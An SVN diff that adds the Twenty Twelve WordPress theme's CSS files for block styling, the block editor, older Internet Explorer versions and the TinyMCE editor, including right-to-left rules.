+.wp-block-quote.is-large p,
+.wp-block-quote.is-style-large p {
+	font-size: 20px;
+}
+
+/* Audio */
+
+.wp-block-audio audio {
+	display: block;
+	margin-bottom: 1.714285714rem;
+	width: 100%;
+}
+
+/* Cover */
+
+.wp-block-cover-image.aligncenter,
+.wp-block-cover.aligncenter {
+	display: flex;
+}
+
+/* File */
+
+.wp-block-file .wp-block-file__button {
+	background-color: #e6e6e6;
+	background-repeat: repeat-x;
+	background-image: -moz-linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-image: -ms-linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-image: -webkit-linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-image: -o-linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-image: linear-gradient(top, #f4f4f4, #e6e6e6);
+	border: 1px solid #d2d2d2;
+	border-radius: 3px;
+	box-shadow: 0 1px 2px rgba(64, 64, 64, 0.1);
+	color: #7c7c7c;
+	font-family: inherit;
+	font-size: 11px;
+	font-size: 0.785714286rem;
+	font-weight: normal;
+	line-height: 1.428571429;
+	padding: 6px 10px;
+	padding: 0.428571429rem 0.714285714rem;
+}
+
+.wp-block-file .wp-block-file__button:hover,
+.wp-block-file .wp-block-file__button:focus {
+	background-color: #ebebeb;
+	background-image: -moz-linear-gradient(top, #f9f9f9, #ebebeb);
+	background-image: -ms-linear-gradient(top, #f9f9f9, #ebebeb);
+	background-image: -webkit-linear-gradient(top, #f9f9f9, #ebebeb);
+	background-image: -o-linear-gradient(top, #f9f9f9, #ebebeb);
+	background-image: linear-gradient(top, #f9f9f9, #ebebeb);
+	background-repeat: repeat-x;
+	color: #5e5e5e;
+}
+
+.wp-block-file .wp-block-file__button:focus {
+	background-color: #e1e1e1;
+	background-image: -moz-linear-gradient(top, #ebebeb, #e1e1e1);
+	background-image: -ms-linear-gradient(top, #ebebeb, #e1e1e1);
+	background-image: -webkit-linear-gradient(top, #ebebeb, #e1e1e1);
+	background-image: -o-linear-gradient(top, #ebebeb, #e1e1e1);
+	background-image: linear-gradient(top, #ebebeb, #e1e1e1);
+	background-repeat: repeat-x;
+	border-color: transparent;
+	box-shadow: inset 0 0 8px 2px #c6c6c6, 0 1px 0 0 #f4f4f4;
+	color: #757575;
+}
+
+.rtl .wp-block-file * + .wp-block-file__button {
+	margin-left: 0.75em;
+	margin-right: 0;
+}
+
+/* Video */
+
+.wp-block-video video:not(:last-child) {
+	margin-bottom: 0;
+}
+
+/*--------------------------------------------------------------
+3.0 Blocks - Formatting
+--------------------------------------------------------------*/
+
+/* Code */
+
+pre.wp-block-code {
+	border: 0;
+	padding: 0;
+}
+
+/* Pullquote */
+
+.wp-block-pullquote__citation,
+.wp-block-pullquote cite,
+.wp-block-pullquote footer {
+	font-size: 14px;
+	text-transform: none;
+}
+
+/* Table */
+
+.wp-block-table {
+	border-bottom: 1px solid #ededed;
+	border-collapse: collapse;
+	border-spacing: 0;
+	font-size: 14px;
+	line-height: 2;
+	margin: 0 0 20px;
+	width: 100%;
+}
+
+.wp-block-table th {
+	border: 0;
+	font-weight: bold;
+	padding: 6px 10px 6px 0;
+	text-transform: uppercase;
+}
+
+.wp-block-table td {
+	border: 0;
+	border-top: 1px solid #ededed;
+	padding: 6px 10px 6px 0;
+}
+
+/*--------------------------------------------------------------
+4.0 Blocks - Layout Elements
+--------------------------------------------------------------*/
+
+/* Buttons */
+
+.wp-block-button .wp-block-button__link {
+	border: 1px solid #d2d2d2;
+	font-family: inherit;
+	font-size: 11px;
+	font-size: 0.785714286rem;
+	font-weight: normal;
+	line-height: 1.428571429;
+	padding: 6px 10px;
+	padding: 0.428571429rem 0.714285714rem;
+}
+
+.entry-content .wp-block-button__link,
+.entry-content .wp-block-button__link:visited {
+	background-color: #e6e6e6;
+	color: #7c7c7c;
+}
+
+.wp-block-button.is-style-outline .wp-block-button__link,
+.wp-block-button.is-style-outline .wp-block-button__link:visited {
+	background-color: inherit;
+	border-color: inherit;
+}
+
+.entry-content .wp-block-button__link:hover,
+.entry-content .wp-block-button__link:visited:hover,
+.entry-content .wp-block-button__link:focus {
+	background-color: #ebebeb;
+	color: #5e5e5e;
+}
+
+.entry-content .wp-block-button__link:active {
+	background-color: #e1e1e1;
+	color: #757575;
+}
+
+.wp-block-button:not(.is-style-outline) .wp-block-button__link:not(.has-background) {
+	background-repeat: repeat-x;
+	background-image: -moz-linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-image: -ms-linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-image: -webkit-linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-image: -o-linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-image: linear-gradient(top, #f4f4f4, #e6e6e6);
+}
+
+.wp-block-button__link:not(.has-text-color) {
+	box-shadow: 0 1px 2px rgba(64, 64, 64, 0.1);
+}
+
+.wp-block-button__link:not(.has-background):hover,
+.wp-block-button__link:not(.has-background):focus {
+	background-image: -moz-linear-gradient(top, #f9f9f9, #ebebeb);
+	background-image: -ms-linear-gradient(top, #f9f9f9, #ebebeb);
+	background-image: -webkit-linear-gradient(top, #f9f9f9, #ebebeb);
+	background-image: -o-linear-gradient(top, #f9f9f9, #ebebeb);
+	background-image: linear-gradient(top, #f9f9f9, #ebebeb);
+	background-repeat: repeat-x;
+}
+
+.wp-block-button__link:not(.has-background):active {
+	background-image: -moz-linear-gradient(top, #ebebeb, #e1e1e1);
+	background-image: -ms-linear-gradient(top, #ebebeb, #e1e1e1);
+	background-image: -webkit-linear-gradient(top, #ebebeb, #e1e1e1);
+	background-image: -o-linear-gradient(top, #ebebeb, #e1e1e1);
+	background-image: linear-gradient(top, #ebebeb, #e1e1e1);
+	background-repeat: repeat-x;
+	border-color: transparent;
+}
+
+.wp-block-button__link:not(.has-text-color):active {
+	box-shadow: inset 0 0 8px 2px #c6c6c6, 0 1px 0 0 #f4f4f4;
+}
+
+/* Separator */
+
+.wp-block-separator {
+	border: 0;
+}
+
+/* Media & Text */
+
+.wp-block-media-text {
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+
+.wp-block-media-text *:last-child {
+	margin-bottom: 0;
+}
+
+/*--------------------------------------------------------------
+5.0 Blocks - Widgets
+--------------------------------------------------------------*/
+
+/* Archives, Categories & Latest Posts */
+
+.wp-block-archives.aligncenter,
+.wp-block-categories.aligncenter,
+.wp-block-latest-posts.aligncenter {
+	list-style-position: inside;
+	text-align: center;
+}
+
+/* Latest Comments */
+
+.wp-block-latest-comments {
+	margin: 0;
+	padding: 0;
+}
+
+.wp-block-latest-comments .avatar,
+.wp-block-latest-comments__comment-avatar {
+	border-radius: 0;
+	box-shadow: none;
+}
+
+.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,
+.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta {
+	margin-left: 60px;
+}
+
+.wp-block-latest-comments__comment,
+.wp-block-latest-comments__comment-excerpt,
+.wp-block-latest-comments__comment-excerpt p {
+	font-size: 14px;
+}
+
+.wp-block-latest-comments__comment-excerpt p:last-child {
+	margin-bottom: 0;
+}
+
+.wp-block-latest-comments__comment-date {
+	color: #5e5e5e;
+}
+
+.wp-block-latest-comments .wp-block-latest-comments__comment {
+	margin: 0;
+	padding: 24px 0;
+	padding: 1.714285714rem 0 0;
+}
+
+.wp-block-latest-comments article {
+	margin-bottom: 0;
+}
+
+/*--------------------------------------------------------------
+6.0 Blocks - Colors
+--------------------------------------------------------------*/
+
+.entry-content .has-blue-color,
+.entry-content .has-blue-color:visited {
+	color: #21759b;
+}
+
+.entry-content .has-blue-background-color,
+.entry-content .has-blue-background-color:visited {
+	background-color: #21759b;
+}
+
+.entry-content .has-dark-gray-color,
+.entry-content .has-dark-gray-color:visited {
+	color: #373737;
+}
+
+.entry-content .has-dark-gray-background-color,
+.entry-content .has-dark-gray-background-color:visited {
+	background-color: #373737;
+}
+
+.entry-content .has-medium-gray-color,
+.entry-content .has-medium-gray-color:visited {
+	color: #9f9f9f;
+}
+
+.entry-content .has-medium-gray-background-color,
+.entry-content .has-medium-gray-background-color:visited {
+	background-color: #9f9f9f;
+}
+
+.entry-content .has-light-gray-color,
+.entry-content .has-light-gray-color:visited {
+	color: #e6e6e6;
+}
+
+.entry-content .has-light-gray-background-color,
+.entry-content .has-light-gray-background-color:visited {
+	background-color: #e6e6e6;
+}
+
+.entry-content .has-white-color,
+.entry-content .has-white-color:visited {
+	color: #fff;
+}
+
+.entry-content .has-white-background-color,
+.entry-content .has-white-background-color:visited {
+	background-color: #fff;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/css/editor-blocks.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/css/editor-blocks.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/css/editor-blocks.css	(revision 56912)
@@ -0,0 +1,457 @@
+/*
+Theme Name: Twenty Twelve
+Description: Used to style blocks in the editor.
+*/
+
+/*--------------------------------------------------------------
+>>> TABLE OF CONTENTS:
+----------------------------------------------------------------
+1.0 General Typography
+2.0 General Block Styles
+3.0 Blocks - Common Blocks
+4.0 Blocks - Formatting
+5.0 Blocks - Layout Elements
+6.0 Blocks - Widgets
+--------------------------------------------------------------*/
+
+/*--------------------------------------------------------------
+1.0 General Typography
+--------------------------------------------------------------*/
+
+.edit-post-visual-editor .editor-block-list__block,
+.edit-post-visual-editor .editor-block-list__block p,
+.editor-default-block-appender textarea.editor-default-block-appender__content {
+	font-size: 14px;
+}
+
+.editor-default-block-appender textarea.editor-default-block-appender__content {
+	font-family: "Open Sans", Helvetica, Arial, sans-serif;
+}
+
+.edit-post-visual-editor .editor-block-list__block {
+	color: #444;
+}
+
+.editor-post-title__block .editor-post-title__input {
+	font-family: "Open Sans", Helvetica, Arial, sans-serif;
+	font-size: 20px;
+	font-weight: 400;
+}
+
+@media screen and (min-width: 600px) {
+	.editor-post-title__block .editor-post-title__input {
+		font-size: 22px;
+	}
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce h1 {
+	font-size: 21px;
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce h2 {
+	font-size: 18px;
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce h3 {
+	font-size: 16px;
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce h4 {
+	font-size: 14px;
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce h5 {
+	font-size: 13px;
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce h6 {
+	font-size: 12px;
+}
+
+/*--------------------------------------------------------------
+2.0 General Block Styles
+--------------------------------------------------------------*/
+
+/* Main column width */
+
+.wp-block {
+	max-width: 655px; /* 625px + 30px for padding */
+}
+
+/* Link styles */
+
+.edit-post-visual-editor a,
+.editor-block-list__block a,
+.wp-block-freeform.block-library-rich-text__tinymce a {
+	color: #21759b;
+}
+
+/* List styles */
+
+.wp-block-freeform.block-library-rich-text__tinymce ol,
+.wp-block-freeform.block-library-rich-text__tinymce ul:not(.wp-block-gallery),
+.block-library-list ol.editor-rich-text__tinymce,
+.block-library-list ul.editor-rich-text__tinymce:not(.wp-block-gallery) {
+	padding-left: 0;
+	padding-right: 0;
+}
+
+/* Quote styles */
+
+.wp-block-freeform.block-library-rich-text__tinymce blockquote {
+	border: 0;
+	font-style: italic;
+	padding: 24px;
+}
+
+/* Table styles */
+
+.wp-block-freeform.block-library-rich-text__tinymce th {
+	font-size: 11px;
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce td {
+	font-size: 12px;
+}
+
+.wp-block-freeform.block-library-rich-text__tinymce th,
+.wp-block-freeform.block-library-rich-text__tinymce td {
+	padding-left: 0;
+	padding-right: 0;
+}
+
+.rtl .wp-block-freeform.block-library-rich-text__tinymce th,
+.rtl .wp-block-freeform.block-library-rich-text__tinymce td {
+	text-align: right;
+}
+
+/* Code styles */
+
+.wp-block-freeform.block-library-rich-text__tinymce code {
+	background-color: transparent;
+	font-size: 12px;
+}
+
+/* Pre styles */
+
+.wp-block-freeform.block-library-rich-text__tinymce pre {
+	font-size: 12px;
+}
+
+/* Captions */
+
+[class^="wp-block-"] figcaption,
+[class^="wp-block-"] figcaption.editor-rich-text__tinymce.mce-content-body {
+	color: #757575;
+	font-size: 12px;
+	line-height: 2;
+	font-style: italic;
+	text-align: left;
+}
+
+.rtl [class^="wp-block-"] figcaption,
+.rtl [class^="wp-block-"] figcaption.editor-rich-text__tinymce.mce-content-body {
+	text-align: right;
+}
+
+/* Definition Lists */
+
+.wp-block-freeform.block-library-rich-text__tinymce dt {
+	margin-bottom: 0;
+}
+
+/*--------------------------------------------------------------
+3.0 Blocks - Common Blocks
+--------------------------------------------------------------*/
+
+/* Paragraph */
+
+p.has-drop-cap:not(:focus)::first-letter {
+	font-size: 5em;
+	margin-top: 0.1em;
+}
+
+/* Image */
+
+.wp-block-image {
+	margin-left: 0;
+	margin-right: 0;
+}
+
+/* Gallery */
+
+.wp-block-gallery {
+	margin-bottom: 24px;
+}
+
+.wp-block-gallery figcaption,
+.wp-block-gallery figcaption.editor-rich-text__tinymce.mce-content-body {
+	color: #fff;
+	text-align: center;
+}
+
+/* Quote */
+
+.wp-block-quote,
+.wp-block-quote:not(.is-large):not(.is-style-large) {
+	padding: 24px;
+}
+
+.wp-block-quote p {
+	font-style: italic;
+}
+
+.wp-block-quote:not(.is-large):not(.is-style-large) {
+	border: 0;
+}
+
+.wp-block-quote.is-large p,
+.wp-block-quote.is-style-large p {
+	font-size: 20px;
+}
+
+.wp-block-quote .wp-block-quote__citation {
+	color: inherit;
+	font-style: italic;
+}
+
+.wp-block-quote.is-large .wp-block-quote__citation,
+.wp-block-quote.is-style-large .wp-block-quote__citation {
+	font-size: 18px;
+}
+
+/* Cover */
+
+.edit-post-visual-editor .editor-block-list__block .wp-block-cover-image p,
+.edit-post-visual-editor .editor-block-list__block .wp-block-cover p {
+	font-size: 28px;
+}
+
+/* File */
+
+.wp-block-file .wp-block-file__textlink {
+	color: #21759b;
+	text-decoration: underline;
+}
+
+.wp-block-file .wp-block-file__button {
+	background-color: #e6e6e6;
+	background-repeat: repeat-x;
+	background-image: -moz-linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-image: -ms-linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-image: -webkit-linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-image: -o-linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-image: linear-gradient(top, #f4f4f4, #e6e6e6);
+	border: 1px solid #d2d2d2;
+	border-radius: 3px;
+	box-shadow: 0 1px 2px rgba(64, 64, 64, 0.1);
+	color: #7c7c7c;
+	font-family: inherit;
+	font-size: 11px;
+	font-weight: normal;
+	line-height: 1.428571429;
+	padding: 6px 10px;
+}
+
+/*--------------------------------------------------------------
+4.0 Blocks - Formatting
+--------------------------------------------------------------*/
+
+/* Verse */
+
+.editor-block-list__block .wp-block-verse pre {
+	font-size: 12px;
+}
+
+/* Code */
+
+.wp-block-code {
+	border: 0;
+	font-size: 12px;
+	line-height: 2;
+	padding: 0;
+}
+
+.wp-block-html .CodeMirror-sizer {
+	line-height: 1.7;
+}
+
+/* Preformatted */
+
+.editor-block-list__block .wp-block-preformatted pre {
+	font-size: 12px;
+}
+
+/* Pullquote */
+
+.wp-block-pullquote {
+	font-style: italic;
+}
+
+.edit-post-visual-editor .wp-block-pullquote {
+	margin: 0;
+}
+
+.wp-block-pullquote .wp-block-pullquote__citation,
+.wp-block-pullquote cite {
+	font-size: 14px;
+	text-transform: none;
+}
+
+/* Table */
+
+.wp-block-table {
+	border-bottom: 1px solid #ededed;
+	border-collapse: collapse;
+	border-spacing: 0;
+	font-size: 14px;
+	line-height: 2;
+	margin: 0 0 20px;
+	width: 100%;
+}
+
+.editor-block-list__block .wp-block-table th {
+	border: 0;
+	font-size: 11px;
+	font-weight: bold;
+	text-transform: uppercase;
+}
+
+.editor-block-list__block .wp-block-table td {
+	border: 0;
+	border-top: 1px solid #ededed;
+	font-size: 12px;
+	padding: 0;
+}
+
+.wp-block-table__cell-content {
+	padding: 6px 10px 6px 0;
+}
+
+/*--------------------------------------------------------------
+5.0 Blocks - Layout Elements
+--------------------------------------------------------------*/
+
+/* Buttons */
+
+.wp-block-button__link {
+	background-color: #e6e6e6;
+	color: #7c7c7c;
+}
+
+.wp-block-button .wp-block-button__link {
+	border: 1px solid #d2d2d2;
+	font-family: inherit;
+	font-size: 11px;
+	font-weight: normal;
+	line-height: 1.428571429;
+	padding: 6px 10px;
+}
+
+.wp-block-button .editor-rich-text__tinymce.mce-content-body {
+	line-height: 1.428571429;
+}
+
+.wp-block-button__link:not(.has-text-color) {
+	box-shadow: 0 1px 2px rgba(64, 64, 64, 0.1);
+}
+
+.wp-block-button.is-style-outline .wp-block-button__link {
+	background-color: inherit;
+	border-color: inherit;
+}
+
+.wp-block-button:not(.is-style-outline) .wp-block-button__link:not(.has-background) {
+	background-image: -moz-linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-image: -ms-linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-image: -webkit-linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-image: -o-linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-image: linear-gradient(top, #f4f4f4, #e6e6e6);
+	background-repeat: repeat-x;
+}
+
+/* Separator */
+
+.editor-block-list__block hr.wp-block-separator {
+	margin-left: auto;
+	margin-right: auto;
+}
+
+/* Media & Text */
+
+.wp-block-media-text *:last-child {
+	margin-bottom: 0;
+}
+
+/*--------------------------------------------------------------
+6.0 Blocks - Widgets
+--------------------------------------------------------------*/
+
+/* Archives, Categories & Latest Posts */
+
+[data-align="center"] .wp-block-archives ul,
+[data-align="center"] .wp-block-categories ul,
+[data-align="center"] .wp-block-latest-posts ul {
+	list-style-position: inside;
+}
+
+/* Archives */
+
+.editor-block-list__block ul.wp-block-archives {
+	padding-left: 0;
+}
+
+/* Categories */
+
+.editor-block-list__block .wp-block-categories ul {
+	padding-left: 0;
+}
+
+/* Latest Comments */
+
+.editor-block-list__block .wp-block-latest-comments {
+	margin: 0;
+	padding: 0;
+}
+
+.wp-block-latest-comments .avatar,
+.wp-block-latest-comments__comment-avatar {
+	border-radius: 0;
+	box-shadow: none;
+}
+
+.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,
+.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta {
+	margin-left: 60px;
+}
+
+.wp-block-latest-comments__comment,
+.wp-block-latest-comments__comment-excerpt,
+.wp-block-latest-comments__comment-excerpt p {
+	font-size: 14px;
+}
+
+.wp-block-latest-comments__comment-excerpt p:last-child {
+	margin-bottom: 0;
+}
+
+.wp-block-latest-comments__comment-date {
+	color: #5e5e5e;
+}
+
+.wp-block-latest-comments .wp-block-latest-comments__comment {
+	margin: 0;
+	padding: 24px 0;
+}
+
+.wp-block-latest-comments article {
+	border-bottom: 4px double #ededed;
+	padding-bottom: 2em;
+}
+
+/* Latest Posts */
+
+.editor-block-list__block .wp-block-latest-posts {
+	padding-left: 0;
+	padding-right: 0;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/css/ie.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/css/ie.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/css/ie.css	(revision 56912)
@@ -0,0 +1,273 @@
+/*
+Styles for older IE versions (previous to IE9).
+*/
+
+body {
+	background-color: #e6e6e6;
+}
+body.custom-background-empty {
+	background-color: #fff;
+}
+body.custom-background-empty .site,
+body.custom-background-white .site {
+	box-shadow: none;
+	margin-bottom: 0;
+	margin-top: 0;
+	padding: 0;
+}
+.assistive-text,
+.site .screen-reader-text {
+	clip: rect(1px 1px 1px 1px);
+}
+.full-width .site-content {
+	float: none;
+	width: 100%;
+}
+img.size-full,
+img.size-large,
+img.header-image,
+img.wp-post-image,
+img[class*="align"],
+img[class*="wp-image-"],
+img[class*="attachment-"] {
+	width: auto; /* Prevent stretching of full-size and large-size images with height and width attributes in IE8 */
+}
+.author-avatar {
+	float: left;
+	margin-top: 8px;
+	margin-top: 0.571428571rem;
+}
+.author-description {
+	float: right;
+	width: 80%;
+}
+.site {
+	box-shadow: 0 2px 6px rgba(100, 100, 100, 0.3);
+	margin: 48px auto;
+	max-width: 960px;
+	overflow: hidden;
+	padding: 0 40px;
+}
+.site-content {
+	float: left;
+	width: 65.104166667%;
+}
+body.template-front-page .site-content,
+body.attachment .site-content,
+body.full-width .site-content {
+	width: 100%;
+}
+.widget-area {
+	float: right;
+	width: 26.041666667%;
+}
+.site-header h1,
+.site-header h2 {
+	text-align: left;
+}
+.site-header h1 {
+	font-size: 26px;
+	line-height: 1.846153846;
+}
+.main-navigation ul.nav-menu,
+.main-navigation div.nav-menu > ul {
+	border-bottom: 1px solid #ededed;
+	border-top: 1px solid #ededed;
+	display: inline-block !important;
+	text-align: left;
+	width: 100%;
+}
+.main-navigation ul {
+	margin: 0;
+	text-indent: 0;
+}
+.main-navigation li a,
+.main-navigation li {
+	display: inline-block;
+	text-decoration: none;
+}
+.ie7 .main-navigation li a,
+.ie7 .main-navigation li {
+	display: inline;
+}
+.main-navigation li a {
+	border-bottom: 0;
+	color: #6a6a6a;
+	line-height: 3.692307692;
+	text-transform: uppercase;
+}
+.main-navigation li a:hover {
+	color: #000;
+}
+.main-navigation li {
+	margin: 0 40px 0 0;
+	position: relative;
+}
+.main-navigation li ul {
+	margin: 0;
+	padding: 0;
+	position: absolute;
+	top: 100%;
+	z-index: 1;
+	height: 1px;
+	width: 1px;
+	overflow: hidden;
+	clip: rect(1px, 1px, 1px, 1px);
+}
+.ie7 .main-navigation li ul {
+	clip: inherit;
+	display: none;
+	left: 0;
+	overflow: visible;
+}
+.main-navigation li ul ul,
+.ie7 .main-navigation li ul ul {
+	top: 0;
+	left: 100%;
+}
+.main-navigation ul li:hover > ul,
+.main-navigation ul li:focus > ul,
+.main-navigation .focus > ul {
+	border-left: 0;
+	clip: inherit;
+	overflow: inherit;
+	height: inherit;
+	width: inherit;
+}
+.ie7 .main-navigation ul li:hover > ul,
+.ie7 .main-navigation ul li:focus > ul {
+	display: block;
+}
+.main-navigation li ul li a {
+	background: #efefef;
+	border-bottom: 1px solid #ededed;
+	display: block;
+	font-size: 11px;
+	line-height: 2.181818182;
+	padding: 8px 10px;
+	width: 180px;
+}
+.main-navigation li ul li a:hover {
+	background: #e3e3e3;
+	color: #444;
+}
+.main-navigation .current-menu-item > a,
+.main-navigation .current-menu-ancestor > a,
+.main-navigation .current_page_item > a,
+.main-navigation .current_page_ancestor > a {
+	color: #636363;
+	font-weight: bold;
+}
+.main-navigation .menu-toggle {
+	display: none;
+}
+.entry-header .entry-title {
+	font-size: 22px;
+}
+#respond form input[type="text"] {
+	width: 46.333333333%;
+}
+#respond form textarea.blog-textarea {
+	width: 79.666666667%;
+}
+.template-front-page .site-content,
+.template-front-page article {
+	overflow: hidden;
+}
+.template-front-page.has-post-thumbnail article {
+	float: left;
+	width: 47.916666667%;
+}
+.entry-page-image {
+	float: right;
+	margin-bottom: 0;
+	width: 47.916666667%;
+}
+/* IE Front Page Template Widget fix */
+.template-front-page .widget-area {
+	clear: both;
+}
+.template-front-page .widget {
+	width: 100% !important;
+	border: none;
+}
+.template-front-page .widget-area .widget,
+.template-front-page .first.front-widgets,
+.template-front-page.two-sidebars .widget-area .front-widgets {
+	float: left;
+	margin-bottom: 24px;
+	width: 51.875%;
+}
+.template-front-page .second.front-widgets,
+.template-front-page .widget-area .widget:nth-child(odd) {
+	clear: right;
+}
+.template-front-page .first.front-widgets,
+.template-front-page .second.front-widgets,
+.template-front-page.two-sidebars .widget-area .front-widgets + .front-widgets {
+	float: right;
+	margin: 0 0 24px;
+	width: 39.0625%;
+}
+.template-front-page.two-sidebars .widget,
+.template-front-page.two-sidebars .widget:nth-child(even) {
+	float: none;
+	width: auto;
+}
+/* add input font for <IE9 Password Box to make the bullets show up */
+input[type="password"] {
+	font-family: Helvetica, Arial, sans-serif;
+}
+
+/* RTL overrides for IE7 and IE8
+-------------------------------------------------------------- */
+.rtl .site-header h1,
+.rtl .site-header h2 {
+	text-align: right;
+}
+.rtl .widget-area,
+.rtl .author-description {
+	float: left;
+}
+.rtl .author-avatar,
+.rtl .site-content {
+	float: right;
+}
+.rtl .main-navigation ul.nav-menu,
+.rtl .main-navigation div.nav-menu > ul {
+	text-align: right;
+}
+.rtl .main-navigation ul li ul li,
+.rtl .main-navigation ul li ul li ul li {
+	margin-left: 40px;
+	margin-right: auto;
+}
+.rtl .main-navigation li ul ul {
+	position: absolute;
+	bottom: 0;
+	right: 100%;
+	z-index: 1;
+}
+.ie7 .rtl .main-navigation li ul ul {
+	position: absolute;
+	bottom: 0;
+	right: 100%;
+	z-index: 1;
+}
+.ie7 .rtl .main-navigation ul li {
+	z-index: 99;
+}
+.ie7 .rtl .main-navigation li ul {
+	position: absolute;
+	bottom: 100%;
+	right: 0;
+	z-index: 1;
+}
+.ie7 .rtl .main-navigation li {
+	margin-right: auto;
+	margin-left: 40px;
+}
+.ie7 .rtl .main-navigation li ul ul ul {
+	position: relative;
+	z-index: 1;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/editor-style-rtl.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/editor-style-rtl.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/editor-style-rtl.css	(revision 56912)
@@ -0,0 +1,28 @@
+/*
+Theme Name: Twenty Twelve
+Description: Used to style the TinyMCE editor for RTL languages.
+See also rtl.css file.
+*/
+
+html .mceContentBody {
+	direction: rtl;
+	unicode-bidi: embed;
+}
+li {
+	margin: 0 24px 0 0;
+	margin: 0 1.714285714rem 0 0;
+}
+dl {
+	margin: 0 24px;
+	margin: 0 1.714285714rem;
+}
+tr th {
+	text-align: right;
+}
+td {
+	padding: 6px 0 6px 10px;
+	text-align: right;
+}
+.wp-caption {
+	text-align: right;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/editor-style.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/editor-style.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/editor-style.css	(revision 56912)
@@ -0,0 +1,342 @@
+/*
+Theme Name: Twenty Twelve
+Description: Used to style the TinyMCE editor.
+*/
+
+html {
+	font-size: 87.5%;
+}
+html .mceContentBody {
+	max-width: 625px;
+}
+body {
+	color: #444;
+	font-family: "Open Sans", Helvetica, Arial, sans-serif;
+	font-size: 14px;
+	font-size: 1rem;
+	line-height: 1;
+	text-rendering: optimizeLegibility;
+	vertical-align: baseline;
+}
+
+
+/* =Headings
+-------------------------------------------------------------- */
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	clear: both;
+	line-height: 1.846153846;
+	margin: 24px 0;
+	margin: 1.714285714rem 0;
+}
+h1 {
+	font-size: 21px;
+	font-size: 1.5rem;
+	line-height: 1.5;
+}
+h2 {
+	font-size: 18px;
+	font-size: 1.285714286rem;
+	line-height: 1.6;
+}
+h3 {
+	font-size: 16px;
+	font-size: 1.142857143rem;
+}
+h4 {
+	font-size: 14px;
+	font-size: 1rem;
+}
+h5 {
+	font-size: 13px;
+	font-size: 0.928571429rem;
+}
+h6 {
+	font-size: 12px;
+	font-size: 0.857142857rem;
+}
+hr {
+	background-color: #ccc;
+	border: 0;
+	height: 1px;
+	margin: 24px;
+	margin-bottom: 1.714285714rem;
+}
+
+
+/* =Text elements
+-------------------------------------------------------------- */
+
+p {
+	line-height: 1.714285714;
+	margin: 0 0 24px;
+	margin: 0 0 1.714285714rem;
+}
+ul,
+ol {
+	margin: 0 0 24px;
+	margin: 0 0 1.714285714rem;
+	line-height: 1.714285714;
+	padding: 0;
+}
+ul {
+	list-style: disc outside;
+}
+ol {
+	list-style: decimal outside;
+}
+ul ul,
+ol ol,
+ul ol,
+ol ul {
+	margin-bottom: 0;
+}
+li {
+	margin: 0 0 0 24px;
+	margin: 0 0 0 1.714285714rem;
+}
+dl {
+	margin: 0 24px;
+	margin: 0 1.714285714rem;
+}
+dt {
+	font-weight: bold;
+	margin-bottom: 24px;
+	margin-bottom: 1.714285714rem;
+}
+dd {
+	line-height: 1.714285714;
+	margin: 0 0 24px;
+	margin: 0 0 1.714285714rem;
+}
+strong {
+	font-weight: bold;
+}
+cite,
+em,
+i {
+	font-style: italic;
+}
+cite {
+	border: none;
+}
+big {
+	font-size: 128.571429%;
+}
+.mceContentBody blockquote {
+	font-style: italic !important;
+	font-weight: normal;
+	margin: 0;
+	padding: 24px;
+	padding: 1.714285714rem;
+}
+pre {
+	border: 1px solid #ededed;
+	color: #666;
+	font-family: Consolas, Monaco, Lucida Console, monospace;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 1.714285714;
+	margin: 24px 0;
+	margin: 1.714285714rem 0;
+	overflow: auto;
+	padding: 24px;
+	padding: 1.714285714rem;
+}
+code,
+kbd,
+samp,
+var {
+	font-family: Consolas, Monaco, Lucida Console, monospace;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 2;
+}
+abbr,
+acronym,
+dfn {
+	border-bottom: 1px dotted #666;
+	cursor: help;
+}
+address {
+	display: block;
+	line-height: 1.714285714;
+	margin: 0 0 24px;
+	margin: 0 0 1.714285714rem;
+}
+del {
+	color: #333;
+}
+ins {
+	background: #fff9c0;
+	border: none;
+	color: #333;
+	text-decoration: none;
+}
+sup,
+sub {
+	font-size: 75%;
+	line-height: 0;
+	position: relative;
+	vertical-align: baseline;
+}
+sup {
+	top: -0.5em;
+}
+sub {
+	bottom: -0.25em;
+}
